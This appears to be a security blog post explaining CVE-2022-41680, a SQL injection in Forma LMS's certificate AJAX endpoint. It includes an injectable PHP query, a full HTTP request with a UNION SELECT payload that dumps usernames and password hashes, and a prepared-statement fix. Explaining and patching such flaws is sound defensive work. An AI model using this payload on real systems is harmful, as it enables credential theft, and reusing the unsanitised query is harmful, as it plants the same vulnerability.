If your organization is using Forma LMS version 3.1. or below, you are exposed to a critical database vulnerability. This post will walk you through the details of CVE-2022-41680, how the attack works, a code snippet showing the vulnerable part, and how even a regular student account could unleash mayhem inside your database. The goal is to use simple language—so read on, whether you’re an IT pro or someone responsible for LMS security at your company.
What is CVE-2022-41680?
CVE-2022-41680 is a SQL Injection vulnerability found in Forma LMS (versions 3.1. and earlier). The bug lurks in the function that lets users see their certificates. Attackers with any valid login—even a mere student role—can abuse this flaw to send malicious SQL commands through a web request. With this, a hacker could read, modify, or even delete everything in the database.
The bug sits in the script handling AJAX requests for certificates
appLms/ajax.server.php
Inside this, the function
?r=mycertificate/getMyCertificates
does not properly clean up or escape input coming from the search[value] parameter, allowing dangerous SQL commands to slip through.
Here’s how an attacker might break in
1. Log in with a Student Account: It doesn’t take admin power. Even a low-level account can do it.
2. Send a Special Request: The attacker sends a POST request to the vulnerable function, sneaking SQL code into the search[value] parameter.
3. Dump the Database: If the SQL is smart enough, this can read private data, admin logins… potentially everything.
Below is a simplified sample inspired by the vulnerable part
// appLms/ajax.server.php
$search_value = $_POST['search']['value'];
// The following line is dangerous if $search_value isn't sanitized!
$sql = "SELECT * FROM certificates WHERE user_id = $userID AND name LIKE '%$search_value%'";
$result = $db->query($sql); // $db might be mysqli or pdo
Notice:$search_value is put right into the SQL. Without filtering or escaping, an attacker can sneak in SQL commands.
Request Example (Using curl or Burp Suite)
POST /appLms/ajax.server.php?r=mycertificate/getMyCertificates HTTP/1.1
Host: victim-site.com
Cookie: PHPSESSID=valid-session-cookies...
Content-Type: application/x-www-form-urlencoded
search[value]=%' UNION SELECT 1,2,3,(SELECT GROUP_CONCAT(username,x3a,password) FROM users)-- -
Explanation
- By injecting %' ... -- - into search[value], the attacker forces the SQL to literally glue in this code.
- UNION SELECT tricks the database into returning additional columns—like all usernames and passwords.
Possible Result
A list of usernames and password hashes spill into the web page or the response body.
Links to Original References
- CVE-2022-41680 Listing on NIST
- Exploit Database Entry
- Forma LMS Official Site
What Should You Do?
1. Update your Forma LMS Right Now: Download and install the latest version from Forma LMS downloads.
Monitor Login Activity: Watch for unusual student logins or database queries.
4. Set Least Privilege: Even a student account should not be able to read sensitive info, but this bug bypasses that, so patching is essential.
Here’s a safe way to write the SQL query
// Using prepared statements with MySQLi
$stmt = $db->prepare("SELECT * FROM certificates WHERE user_id = ? AND name LIKE ?");
$search = "%" . $search_value . "%";
$stmt->bind_param("is", $userID, $search);
$stmt->execute();
With this, the input is not mashed into the SQL directly, blocking most injection tricks.
Summary
CVE-2022-41680 is dangerously simple to exploit and could let ordinary users plunder your entire Forma LMS database. The problem is a classic SQL injection caused by missing input validation in the AJAX function for student certificates. Patch immediately, review your code, and protect your users’ data!
Need help? Check out the official Forma LMS forums or talk to your IT provider. Never ignore SQL injection reports—they’re low effort for attackers, and high stakes for your organization.
Timeline
Published on: 10/31/2022 20:15:00 UTC
Last modified on: 11/01/2022 20:06:00 UTC